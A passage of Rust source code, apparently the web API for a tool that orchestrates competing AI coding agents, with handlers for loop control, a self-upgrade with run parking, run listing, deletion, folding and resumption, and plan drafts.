1717            None => "another magi process".to_owned(),
1718        }
1719    }
1720}
1721
1722/// How a loop is started, as a future this module can hold onto.
1723///
1724/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1725/// trait object or a hand-written `Debug` impl for the sake of one seam.
1726type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1727
1728/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1729fn launch_daemon(
1730    opts: daemon::Opts,
1731    stop: daemon::Stop,
1732) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1733    Box::pin(daemon::serve_until(opts, stop))
1734}
1735
1736/// The loop this process runs, behind one lock.
1737#[derive(Debug, Default)]
1738struct LoopState {
1739    /// The loop, while there is one.
1740    live: Option<Live>,
1741    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1742    ///
1743    /// The loop is in-process state rather than a file, so nothing on disk
1744    /// would tell a second phone that the first one started it. Without this
1745    /// counter the only way to learn about a start, a stop request or a crash
1746    /// would be to poll `/api/loop`, which is the thing the change stream
1747    /// exists to avoid on a mobile link.
1748    rev: u64,
1749    /// Why the last loop ended, when it ended badly. See
1750    /// [`LoopView::last_error`].
1751    last_error: Option<String>,
1752}
1753
1754/// A loop in flight.
1755#[derive(Debug)]
1756struct Live {
1757    /// The cooperative stop, shared with the loop task.
1758    stop: daemon::Stop,
1759    /// The task itself, kept only to answer whether it is still there: a loop
1760    /// that panicked never records its own end, and without this the view
1761    /// would go on reporting a loop that no longer exists - the one lie that
1762    /// would leave the operator with no button to press.
1763    handle: tokio::task::JoinHandle<()>,
1764    /// What the loop was started with, so the view reports the repository and
1765    /// merge mode its runs will actually use rather than what an edit to the
1766    /// config since would give.
1767    opts: daemon::Opts,
1768}
1769
1770impl Live {
1771    /// Is the task still there? See [`Live::handle`].
1772    fn alive(&self) -> bool {
1773        !self.handle.is_finished()
1774    }
1775}
1776
1777/// Take the loop lock, recovering from a poisoned one.
1778///
1779/// What this mutex holds is a stop flag, a task handle and two counters, none
1780/// of which a panic elsewhere can leave in a state worth refusing to read.
1781/// Propagating the poison instead would mean an operator who can see the loop
1782/// running and can no longer stop it from the only surface they have.
1783fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1784    state.lock().unwrap_or_else(PoisonError::into_inner)
1785}
1786
1787/// `GET /api/loop`.
1788async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1789    blocking(move || {
1790        let reading = daemon::read_status(&ui.home);
1791        Ok(Json(ui.loop_view(reading)))
1792    })
1793    .await
1794}
1795
1796/// The body of `POST /api/loop`.
1797///
1798/// One required field and nothing else: no `default` and no unknown fields,
1799/// so a body that fails to say which way the switch was flipped is a 400
1800/// rather than a tap that quietly does the opposite of what was pressed.
1801#[derive(Debug, Deserialize)]
1802#[serde(deny_unknown_fields)]
1803struct LoopCommand {
1804    running: bool,
1805    /// Stop the run in flight at its next node boundary rather than letting it
1806    /// finish.
1807    ///
1808    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1809    /// competition is tens of minutes of paid work and finishing it is
1810    /// normally the cheapest thing to do. A park is for the operator who
1811    /// wants the process gone now - to replace the binary, most of all - and
1812    /// it costs at most the node in progress because every node writes its
1813    /// state before the next one starts.
1814    #[serde(default)]
1815    park: bool,
1816}
1817
1818/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1819///
1820/// Answers with the view rather than waiting for the loop to reach the state
1821/// that was asked for. Starting is immediate anyway; stopping is not, and the
1822/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1823/// request open for. `stopping` in the answer is what the operator watches
1824/// instead.
1825async fn loop_post(
1826    State(ui): State<Arc<Ui>>,
1827    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1828) -> ApiResult<Json<LoopView>> {
1829    // Taken as a `Result` so a malformed body is a 400 like every other route
1830    // here, rather than axum's default 422 that the UI has no branch for.
1831    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1832    blocking(move || {
1833        let reading = daemon::read_status(&ui.home);
1834        let foreign = Foreign::of(reading.as_ref());
1835        if body.running {
1836            ui.start_loop(foreign)?;
1837        } else {
1838            ui.stop_loop(foreign, body.park)?;
1839        }
1840        Ok(Json(ui.loop_view(reading)))
1841    })
1842    .await
1843}
1844
1845/// What `POST /api/upgrade` set in motion.
1846#[derive(Debug, Serialize)]
1847struct UpgradeView {
1848    /// The version this process is running.
1849    from: String,
1850    /// The release it is replacing itself with, when there is one.
1851    to: Option<String>,
1852    /// A run was parked first, and this is its id.
1853    parked: Option<String>,
1854    /// What the operator should expect to happen next.
1855    detail: String,
1856}
1857
1858/// `POST /api/upgrade` - replace this binary with the newest release and come
1859/// back on it.
1860///
1861/// The one thing the deck could not do for itself. Every fix landed today
1862/// either waited for a competition to end or went in with the deck stopped,
1863/// because `cargo install` cannot overwrite a running executable on Windows.
1864/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1865/// the new one in its place, so the swap itself needs no downtime. Only the
1866/// restart does, and the order is the whole design:
1867///
1868/// 1. **Park.** A run in flight stops at its next node boundary and stays
1869///    resumable, so this costs at most the node in progress rather than the
1870///    competition. Without it the honest choices were waiting an hour or
1871///    discarding paid agent work.
1872/// 2. **Replace.** The new binary goes into place while this one still runs.
1873/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1874///    successor - see [`spawn_successor`] for what happens in the other
1875///    order.
1876/// 4. **Resume.** The next loop carries the parked run on rather than
1877///    competing again; see `daemon::attempt`.
1878///
1879/// Answers **202**: the reply has to reach the phone while this process can
1880/// still send one, and the phone learns the deck is back by reconnecting.
1881async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1882    let reading = daemon::read_status(&ui.home);
1883    if let Some(other) = Foreign::of(reading.as_ref()) {
1884        return Err(ApiError::conflict(format!(
1885            "the loop belongs to {}, so replacing this binary would leave \
1886             that process running an old one against the same queue. Upgrade \
1887             where it was started.",
1888            other.who()
1889        )));
1890    }
1891
1892    // The same kill switch the background check honours (`disabled_by_env`),
1893    // checked before anything else for the same reason it is read before the
1894    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
1895    // contact GitHub from this process", and a button press must not
1896    // override that any more than a broken `magi.toml` may.
1897    if crate::updater::disabled_by_env() {
1898        return Ok((
1899            StatusCode::OK,
1900            Json(UpgradeView {
1901                from: env!("CARGO_PKG_VERSION").to_owned(),
1902                to: None,
1903                parked: None,
1904                detail: format!(
1905                    "Automatic updates are disabled by {}. Nothing was parked \
1906                     and nothing restarted.",
1907                    crate::updater::NO_AUTOUPDATE_ENV
1908                ),
1909            }),
1910        ));
1911    }
1912
1913    // Asked before anything is disturbed. Restarting when there is nothing
1914    // to install is not a harmless no-op: it parks the run in flight and
1915    // drops every connection to pay for an upgrade that did not happen. A
1916    // probe against a deck already on the newest build did exactly that.
1917    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1918    let from = env!("CARGO_PKG_VERSION").to_owned();
1919    let latest = match crate::updater::Checker::new(&cfg.update) {
1920        Some(checker) => checker
1921            .newer_release()
1922            .await
1923            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1924        None => None,
1925    };
1926    let Some(latest) = latest else {
1927        return Ok((
1928            StatusCode::OK,
1929            Json(UpgradeView {
1930                from,
1931                to: None,
1932                parked: None,
1933                detail: "Already on the newest release. Nothing was parked \
1934                         and nothing restarted."
1935                    .to_owned(),
1936            }),
1937        ));
1938    };
1939
1940    // Parked before anything is replaced: a successor that came up while a
1941    // run was mid-node would find a run nobody is driving.
1942    let parked = ui.park_for_upgrade()?;
1943    let detail = match &parked {
1944        // Honest about the wait. A park takes effect at the *next* node
1945        // boundary, so a run mid-implement finishes that wave first - up to
1946        // `timeout_implement`, an hour by default. Saying "restarting now"
1947        // would make the deck look wedged for the rest of it.
1948        Some(run) => format!(
1949            "Run {} is parking at its next step, which can take as long as \
1950             the step it is on - up to an hour for an implement wave. The \
1951             deck replaces itself once it parks, comes back, and the loop \
1952             carries that run on from where it stopped. Nothing is lost if \
1953             you close this.",
1954            crate::run::short_of(run)
1955        ),
1956        None => "The deck replaces itself and comes back. Nothing was in \
1957                 flight to park."
1958            .to_owned(),
1959    };
1960
1961    // Recorded before the spawn, not inside it: the phone's next `/api/health`
1962    // poll must see a `Downloading` stage immediately, not whenever the
1963    // spawned task happens to get scheduled.
1964    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
1965    progress.parked_run = parked.clone();
1966    let _ = updater::write_progress(&ui.home, &progress);
1967
1968    let home = ui.home.clone();
1969    tokio::spawn(async move {
1970        if let Err(e) = upgrade_and_restart(home.clone()).await {
1971            tracing::error!("the upgrade did not complete: {e:#}");
1972            if let Some(mut progress) = updater::read_progress(&home) {
1973                progress.fail(format!("{e:#}"));
1974                let _ = updater::write_progress(&home, &progress);
1975            }
1976        }
1977    });
1978
1979    Ok((
1980        StatusCode::ACCEPTED,
1981        Json(UpgradeView {
1982            from,
1983            to: Some(latest.tag_name),
1984            parked,
1985            detail,
1986        }),
1987    ))
1988}
1989
1990/// Replace the binary, then ask [`serve`] to hand the address over.
1991///
1992/// Separated from the handler so the 202 is already on its way, and separated
1993/// from the spawn so the successor starts only after the listener is dropped.
1994async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
1995    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
1996    // hang the upgrade for as long as the process lives.
1997    crate::updater::run_self_update(true, false, true).await?;
1998    tracing::info!("binary replaced - asking the server to hand over");
1999    if let Some(mut progress) = updater::read_progress(&home) {
2000        progress.advance(updater::Stage::Replaced);
2001        let _ = updater::write_progress(&home, &progress);
2002    }
2003    HANDOVER.notify_one();
2004    Ok(())
2005}
2006
2007/// One row in the run list.
2008///
2009/// The list route returns this rather than whole `RunState`s: the summary of a
2010/// run is a few hundred bytes and the state is megabytes, and the difference
2011/// is what makes the history usable on a mobile link.
2012#[derive(Debug, Serialize)]
2013struct RunSummary {
2014    id: String,
2015    short: String,
2016    status: String,
2017    done: bool,
2018    instruction: String,
2019    title: String,
2020    repo: String,
2021    repo_name: String,
2022    created_at: String,
2023    updated_at: String,
2024    candidates: usize,
2025    viable: usize,
2026    judges: usize,
2027    winner: Option<char>,
2028    reviews: usize,
2029    quota_losses: usize,
2030    event: Option<String>,
2031    /// The later attempt at the same task that replaced this one, if any.
2032    ///
2033    /// Two cards with one title is otherwise unreadable: this is what lets
2034    /// the deck say "superseded by 4043" on the older of the pair.
2035    superseded_by: Option<String>,
2036    /// Blocked on a question nobody has answered.
2037    ///
2038    /// Derived from the question store rather than stored on the run: an agent
2039    /// calling `magi ask` blocks mid-node, and writing a status from there
2040    /// would race the graph's own save of `run.json` and be overwritten at the
2041    /// next node boundary. Asking the store is always true and never races.
2042    waiting: bool,
2043    /// The land loop's last look at the pull request, when there is one.
2044    pr: Option<crate::run::PrRecord>,
2045}
2046
2047impl RunSummary {
2048    fn of(state: &RunState, waiting: bool) -> Self {
2049        Self {
2050            id: state.id.clone(),
2051            short: state.short().to_owned(),
2052            status: status_word(state.status),
2053            done: state.status.done(),
2054            instruction: state.instruction.clone(),
2055            title: title_from(&state.instruction, TITLE_MAX),
2056            repo: state.repo.display().to_string(),
2057            repo_name: state
2058                .repo
2059                .file_name()
2060                .map(|n| n.to_string_lossy().into_owned())
2061                .unwrap_or_default(),
2062            created_at: state.created_at.to_string(),
2063            updated_at: state.updated_at.to_string(),
2064            candidates: state.candidates.len(),
2065            viable: state.viable().len(),
2066            judges: state.config.graph.judges,
2067            winner: state.winner().map(|c| c.label),
2068            reviews: state.reviews.len(),
2069            quota_losses: state.quota.len(),
2070            event: state.events.last().map(|e| e.message.clone()),
2071            waiting,
2072            // Filled in by the list route, which is the only place that can
2073            // see a task's other attempts.
2074            superseded_by: None,
2075            pr: state.pr.clone(),
2076        }
2077    }
2078}
2079
2080/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2081/// the same string `serde` writes for the status inside a full run.
2082fn status_word(status: RunStatus) -> String {
2083    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2084    // was a third way of naming the same statuses, and one that changed
2085    // silently with a derive.
2086    status.as_str().to_owned()
2087}
2088
2089/// `?limit=`, clamped by the handler.
2090#[derive(Debug, Deserialize)]
2091struct ListQuery {
2092    #[serde(default)]
2093    limit: Option<usize>,
2094}
2095
2096async fn runs_list(
2097    State(ui): State<Arc<Ui>>,
2098    Query(q): Query<ListQuery>,
2099) -> ApiResult<Json<Vec<RunSummary>>> {
2100    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2101    blocking(move || {
2102        let superseded = superseded_runs(&ui.queue);
2103        let summaries = run_ids(&ui.runs)
2104            .into_iter()
2105            // A run whose state cannot be read is skipped, not fatal: a run
2106            // killed mid-write must not blank the history of every other one.
2107            // The detail route still explains it, which is where an operator
2108            // asking "what happened to that run" ends up.
2109            .filter_map(|id| read_run(&ui.runs, &id).ok())
2110            .take(limit)
2111            .map(|state| {
2112                let waiting = !ui.questions.open_for(&state.id).is_empty();
2113                let by = superseded.get(&state.id).cloned();
2114                let mut row = RunSummary::of(&state, waiting);
2115                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2116                row
2117            })
2118            .collect();
2119        Ok(Json(summaries))
2120    })
2121    .await
2122}
2123
2124/// Runs that a later attempt at the same task replaced, mapped to the id of
2125/// the attempt that replaced them.
2126///
2127/// A task keeps its attempts in order, and the deck showed them as two cards
2128/// with the same title and no hint which was which: yukimemi asked why
2129/// `stalled` and `blocked` appeared twice for one task, and the answer -
2130/// "those are two tries, and the second one exists because of a bug since
2131/// fixed" - was not on the screen anywhere.
2132///
2133/// Read from the queue rather than stored on the run, because the ordering is
2134/// the queue's fact: a `RunState` has no idea another attempt happened after
2135/// it.
2136fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2137    let mut by = HashMap::new();
2138    for task in queue.list() {
2139        for pair in task.runs.windows(2) {
2140            if let [earlier, later] = pair {
2141                by.insert(earlier.clone(), later.clone());
2142            }
2143        }
2144    }
2145    by
2146}
2147
2148/// A run as the detail route hands it to the phone.
2149///
2150/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2151/// the instruction as markdown, and the raw `instruction` field this struct
2152/// still carries (unchanged) is what a client wanting the exact bytes reads
2153/// instead.
2154#[derive(Debug, Serialize)]
2155struct RunDetailView {
2156    #[serde(flatten)]
2157    state: RunState,
2158    instruction_md: Vec<md::Node>,
2159    /// Whether a live daemon currently claims this run.
2160    ///
2161    /// `state.active` (flattened in above) is only ever cleared by the
2162    /// process that populated it; a killed one leaves its last wave's
2163    /// entries behind. Carrying this alongside is what lets the phone rail
2164    /// tell "this seat is still answering" from "this seat was still
2165    /// answering when whatever was driving this run died" without a second
2166    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2167    /// proof of either.
2168    live: bool,
2169}
2170
2171impl RunDetailView {
2172    fn of(state: RunState, live: bool) -> Self {
2173        Self {
2174            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2175            live,
2176            state,
2177        }
2178    }
2179}
2180
2181async fn run_detail(
2182    State(ui): State<Arc<Ui>>,
2183    Path(id): Path<String>,
2184) -> ApiResult<Json<RunDetailView>> {
2185    blocking(move || {
2186        let id = resolve_run(&ui.runs, &id)?;
2187        let state = read_run(&ui.runs, &id)?;
2188        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2189        Ok(Json(RunDetailView::of(state, live)))
2190    })
2191    .await
2192}
2193
2194/// `DELETE /api/runs/{id}`.
2195///
2196/// Remove a finished, folded run directory along with its artifacts.
2197/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2198/// deleted. This never touches git worktrees or branches - except for a run
2199/// whose state this build cannot read at all, where there is no candidate
2200/// list to check and the wholesale removal `magi fold` already uses for that
2201/// case is the only meaningful "delete".
2202async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2203    let (id, unreadable) = {
2204        let ui = Arc::clone(&ui);
2205        blocking(move || {
2206            let id = resolve_run(&ui.runs, &id)?;
2207            match read_run(&ui.runs, &id) {
2208                Ok(state) => {
2209                    let in_flight =
2210                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2211                    state
2212                        .ensure_can_delete(in_flight)
2213                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2214                    let dir = ui.runs.join(&id);
2215                    std::fs::remove_dir_all(&dir)
2216                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2217                    Ok((id, false))
2218                }
2219                Err(_) => {
2220                    // Unreadable: there is no candidate list to guard on, so
2221                    // a live daemon's claim is the only thing left to check -
2222                    // the same rule `run_fold` applies for the same reason.
2223                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2224                        return Err(ApiError::conflict(format!(
2225                            "run {id} is being worked on by a live daemon right now"
2226                        )));
2227                    }
2228                    Ok((id, true))
2229                }
2230            }
2231        })
2232        .await?
2233    };
2234    if unreadable {
2235        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2236            .await
2237            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2238    }
2239    let ui = Arc::clone(&ui);
2240    let done = id.clone();
2241    blocking(move || {
2242        // The agent that asked died with the run, so an open question would
2243        // keep asking the operator for a decision nobody can deliver.
2244        ui.questions.abandon_for_run(
2245            &done,
2246            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2247        )?;
2248        Ok(())
2249    })
2250    .await?;
2251    Ok(StatusCode::NO_CONTENT)
2252}
2253
2254/// `POST /api/runs/{id}/fold`.
2255///
2256/// Remove a run's candidate worktrees and branches, keeping its record.
2257///
2258/// This exists because the deck answered "delete this run" with *"Candidates
2259/// must be folded before deleting. Run `magi fold` first."* — a phone being
2260/// told to open a terminal, in the one product whose point is that it does
2261/// not need one. The runs an operator most wants gone are the stalled and
2262/// blocked ones, and those are exactly the runs still holding worktrees:
2263/// three of them here held 53 GB.
2264///
2265/// The winner's tree goes too. A fold is what someone asks for when they are
2266/// finished with a run, and leaving one tree behind would leave the delete
2267/// button disabled for the same reason as before.
2268///
2269/// Refused while a live daemon is working on the run, on the rule that guards
2270/// deletion: folding underneath a running agent would pull the tree it is
2271/// editing out from under it.
2272///
2273/// A run whose state this build cannot read at all falls back to
2274/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2275/// selectively, so the whole record's worktree goes wholesale, exactly what
2276/// `magi fold` does on the command line for the same run.
2277async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2278    let (id, state) = {
2279        let ui = Arc::clone(&ui);
2280        blocking(move || {
2281            let id = resolve_run(&ui.runs, &id)?;
2282            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2283                return Err(ApiError::conflict(format!(
2284                    "run {id} is being worked on by a live daemon right now"
2285                )));
2286            }
2287            let state = read_run(&ui.runs, &id).ok();
2288            Ok((id, state))
2289        })
2290        .await?
2291    };
2292    let removed = match state {
2293        Some(mut state) => crate::graph::fold_run(&mut state, true)
2294            .await
2295            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2296        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2297            .await
2298            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2299    };
2300    Ok(Json(FoldView {
2301        run: id,
2302        removed_count: removed.len(),
2303        removed,
2304    }))
2305}
2306
2307/// What a fold took away, so the deck can say so rather than only re-render.
2308#[derive(Debug, Serialize)]
2309struct FoldView {
2310    run: String,
2311    /// Worktree paths and branch names removed, in the order they went.
2312    removed: Vec<String>,
2313    removed_count: usize,
2314}
2315
2316/// `POST /api/runs/{id}/resume`.
2317///
2318/// Carry a stalled run on from where it stopped, in the background.
2319///
2320/// A stalled card says "the work is kept" and used to offer no way to act on
2321/// that: the candidates are built and paid for, and continuing means re-asking
2322/// only the seats whose absence collapsed the panel. The alternative an
2323/// operator actually had was releasing the task, which competes three fresh
2324/// implementations against work that already exists.
2325///
2326/// **202, not 200.** A resume runs agents for minutes; holding the connection
2327/// is the mistake `POST /api/chats/{id}/say` already made and had fixed. The
2328/// phone learns the outcome from the change stream.
2329///
2330/// Refused when the loop is running at all, not merely when it is on this run.
2331/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2332/// started a second graph on top of whatever the loop is already driving —
2333/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2334/// allows — would spend that quota twice over for no extra throughput.
2335async fn run_resume(
2336    State(ui): State<Arc<Ui>>,
2337    Path(id): Path<String>,
2338) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2339    let (id, state) = {
2340        let ui = Arc::clone(&ui);
2341        blocking(move || {
2342            let id = resolve_run(&ui.runs, &id)?;
2343            let state = read_run(&ui.runs, &id)?;
2344            Ok((id, state))
2345        })
2346        .await?
2347    };
2348    if !state.status.resumable() {
2349        return Err(ApiError::conflict(format!(
2350            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2351            state.short(),
2352            status_word(state.status)
2353        )));
2354    }
2355    // Refused whenever the loop is running anything at all, not merely when
2356    // it is on this run: a manual resume racing a loop-driven run over the
2357    // same agent quota is the thing this guard exists to prevent, whether
2358    // the loop's own concurrency is one run or several.
2359    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2360        .into_iter()
2361        .next()
2362    {
2363        return Err(ApiError::conflict(format!(
2364            "the loop is running run {} right now; stop it first, or wait for \
2365             it to finish, before resuming a run by hand.",
2366            crate::run::short_of(&work.run)
2367        )));
2368    }
2369    let _resume = ui.begin_resume(&id)?;
2370
2371    // The same shape the list route returns, so the phone updates the card it
2372    // already has rather than learning a second schema for one button.
2373    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2374    let run = id.clone();
2375    tokio::spawn(async move {
2376        let _resume = _resume;
2377        match crate::graph::Runner::resume(&run) {
2378            Ok(mut runner) => {
2379                if let Err(e) = runner.execute().await {
2380                    tracing::warn!("resume of run {run} stopped: {e:#}");
2381                }
2382            }
2383            // The run's own record is what the phone reads; this line is for
2384            // the operator's terminal.
2385            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2386        }
2387    });
2388    Ok((StatusCode::ACCEPTED, Json(queued)))
2389}
2390
2391async fn run_report(
2392    State(ui): State<Arc<Ui>>,
2393    Path(id): Path<String>,
2394) -> ApiResult<impl IntoResponse> {
2395    let text = blocking(move || {
2396        let id = resolve_run(&ui.runs, &id)?;
2397        // Colour is off for the whole process, set once in `serve`. Rendering
2398        // is CPU work over the full state, which is the other reason this is
2399        // not on the executor.
2400        let state = read_run(&ui.runs, &id)?;
2401        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2402        Ok(format!(
2403            "{}{}",
2404            report::run(&state),
2405            report::active_seats(&state, live)
2406        ))
2407    })
2408    .await?;
2409    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2410}
2411
2412/// A task as the UI sees it.
2413///
2414/// The whole task, plus the two things the client would otherwise have to
2415/// reimplement: the human-readable source and the status string. Nothing is
2416/// removed - the phone shows `last_error` and the run history verbatim.
2417#[derive(Debug, Serialize)]
2418struct TaskView {
2419    #[serde(flatten)]
2420    task: Task,
2421    source_label: String,
2422    status_str: &'static str,
2423    /// The instruction, parsed as markdown, for the Queue card's "Full
2424    /// instruction" panel. `task.instruction` is unchanged and still carries
2425    /// the raw text.
2426    instruction_md: Vec<md::Node>,
2427}
2428
2429impl From<Task> for TaskView {
2430    fn from(task: Task) -> Self {
2431        Self {
2432            source_label: task.source.label(),
2433            status_str: task.status.as_str(),
2434            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2435            task,
2436        }
2437    }
2438}
2439
2440/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2441/// its absence, leaves the cache to decide.
2442#[derive(Debug, Default, Deserialize)]
2443#[serde(default)]
2444struct ReposQuery {
2445    refresh: u8,
2446}
2447
2448/// `GET /api/repos` - the repository picker for the plan surface's "start a
2449/// conversation" panel and its "continue in another repository" action.
2450///
2451/// Reads `[repos] roots` and `[repos] scan_ttl` off the same config the rest
2452/// of the plan surface uses, discovered against `ui.repo` so an edit to
2453/// `magi.toml` takes effect without a restart, the same reasoning
2454/// [`config_for`] documents for the chat routes.
2455async fn repos_list(
2456    State(ui): State<Arc<Ui>>,
2457    Query(q): Query<ReposQuery>,
2458) -> ApiResult<Json<Vec<repos::Repo>>> {
2459    let refresh = q.refresh != 0;
2460    blocking(move || {
2461        let (cfg, _) = Config::discover(&ui.repo, None)?;
2462        Ok(Json(ui.repos_cache.list(
2463            &cfg.repos.roots,
2464            Duration::from_secs(cfg.repos.scan_ttl),
2465            refresh,
2466        )))
2467    })
2468    .await
2469}
2470
2471/// One `magi plan` draft the plan surface can point at, summarized for
2472/// `GET /api/drafts`.
2473#[derive(Debug, Serialize)]
2474struct DraftSummary {
2475    id: String,
2476    title: String,
2477    seats: usize,
2478    proposals: usize,
2479}
2480
2481/// `GET /api/drafts` - every draft that finished a design-deliberation stage,
2482/// newest first - the plan surface's index into `draft_advisors` below.
2483///
2484/// `magi plan` is a terminal command; a phone that opens later has no other
2485/// way to learn which draft ids exist. Listing only the ids with an
2486/// `<id>.advisors.json` on disk, rather than every `<id>.md`, keeps this to
2487/// what the design-deliberation stage actually produced - an interview
2488/// abandoned before it wrote anything, or one filed with the stage off, has
2489/// nothing here to show.
2490async fn drafts_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<DraftSummary>>> {
2491    blocking(move || {
2492        let dir = ui.home.join("drafts");
2493        let mut out = Vec::new();
2494        let Ok(entries) = std::fs::read_dir(&dir) else {
2495            return Ok(Json(out));
2496        };
2497        for entry in entries.flatten() {
2498            let name = entry.file_name();
2499            let Some(id) = name.to_str().and_then(|n| n.strip_suffix(".advisors.json")) else {
2500                continue;
2501            };
2502            let Ok(raw) = std::fs::read_to_string(entry.path()) else {
2503                continue;
2504            };
2505            let Ok(advice) = serde_json::from_str::<advise::Advice>(&raw) else {
2506                continue;
2507            };
2508            let title = std::fs::read_to_string(dir.join(format!("{id}.md")))
2509                .ok()
2510                .map(|body| title_from(&body, TITLE_MAX))
2511                .unwrap_or_else(|| id.to_owned());
2512            out.push(DraftSummary {
2513                id: id.to_owned(),
2514                title,
2515                seats: advice.records.len(),
2516                proposals: advice.proposals().len(),
2517            });
2518        }
2519        // The id is a `%Y%m%d-%H%M%S-xxxx` stamp (see `plan::new_id`), so a
2520        // plain string sort is already newest-first in reverse.
2521        out.sort_by(|a, b| b.id.cmp(&a.id));
2522        Ok(Json(out))
2523    })
2524    .await
2525}
2526
2527/// The wire shape of `GET /api/drafts/{id}/advisors`: the raw advisor
2528/// records, `#[serde(flatten)]`ed so `records` reads exactly as it does in
2529/// `<id>.advisors.json`, plus the task file the deliberation actually
2530/// produced.
2531///
2532/// The proposals alone answer "what did the advisors argue"; they cannot
2533/// answer "which of that actually shaped the task file", which is the
2534/// question the attribution [`prompt::synthesize`] asks the planner to write
2535/// is supposed to let the operator check. Reading that check requires the
2536/// synthesized `## Context` / `## Change` themselves, not just the inputs to
2537/// them - so this carries the draft's own text alongside the record it was
2538/// built from.
2539#[derive(Debug, Serialize)]
2540struct DraftAdvisorsView {
2541    #[serde(flatten)]
2542    advice: advise::Advice,
2543    /// The task file's current text. `None` only if `<id>.md` is missing on
2544    /// disk (removed by hand) - never because synthesis has not run yet: by
2545    /// the time `<id>.advisors.json` exists at all, [`crate::advise::run`]
2546    /// has already overwritten the draft with its synthesis, or the whole
2547    /// stage failed and this endpoint has nothing to serve in the first
2548    /// place.
2549    draft: Option<String>,
2550    /// The same text, pre-parsed - the plan surface's other markdown views
2551    /// all render a server-parsed tree rather than trusting a client-side
2552    /// parser with agent-authored text.
2553    draft_md: Option<Vec<md::Node>>,
2554}
2555
2556/// `GET /api/drafts/{id}/advisors` - the raw record of `magi plan`'s headless
2557/// design-deliberation stage for one draft, plus the task file it produced.
2558///
2559/// `magi plan` runs from a terminal, and a phone has none: this is the plan
2560/// surface's read of what the CLI interview produced, straight off
2561/// `<magi home>/drafts/<id>.advisors.json` - the file [`crate::advise::run`]
2562/// writes unconditionally, before any check of its own that could still bail
2563/// - and `<id>.md` alongside it.
2564async fn draft_advisors(
2565    State(ui): State<Arc<Ui>>,
2566    Path(id): Path<String>,
2567) -> ApiResult<Json<DraftAdvisorsView>> {
2568    blocking(move || {
2569        let dir = ui.home.join("drafts");
2570        let path = dir.join(format!("{id}.advisors.json"));
2571        let raw = std::fs::read_to_string(&path)
2572            .map_err(|_| ApiError::not_found(format!("no advisor record for draft `{id}`")))?;
2573        let advice: advise::Advice = serde_json::from_str(&raw)
2574            .map_err(|e| ApiError::internal(format!("parse {}: {e:#}", path.display())))?;
2575        let draft = std::fs::read_to_string(dir.join(format!("{id}.md"))).ok();
2576        let draft_md = draft
2577            .as_deref()
2578            .map(|body| md::to_nodes(body, &md::ImageBase::None));
2579        Ok(Json(DraftAdvisorsView {
2580            advice,
2581            draft,
2582            draft_md,
2583        }))
2584    })
2585    .await
2586}
2587
2588async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2589    blocking(move || {
2590        Ok(Json(
2591            ui.queue.list().into_iter().map(TaskView::from).collect(),
2592        ))
2593    })
2594    .await
2595}
2596
2597/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
2598/// gives no reason - which must keep working, since not every hold has one.
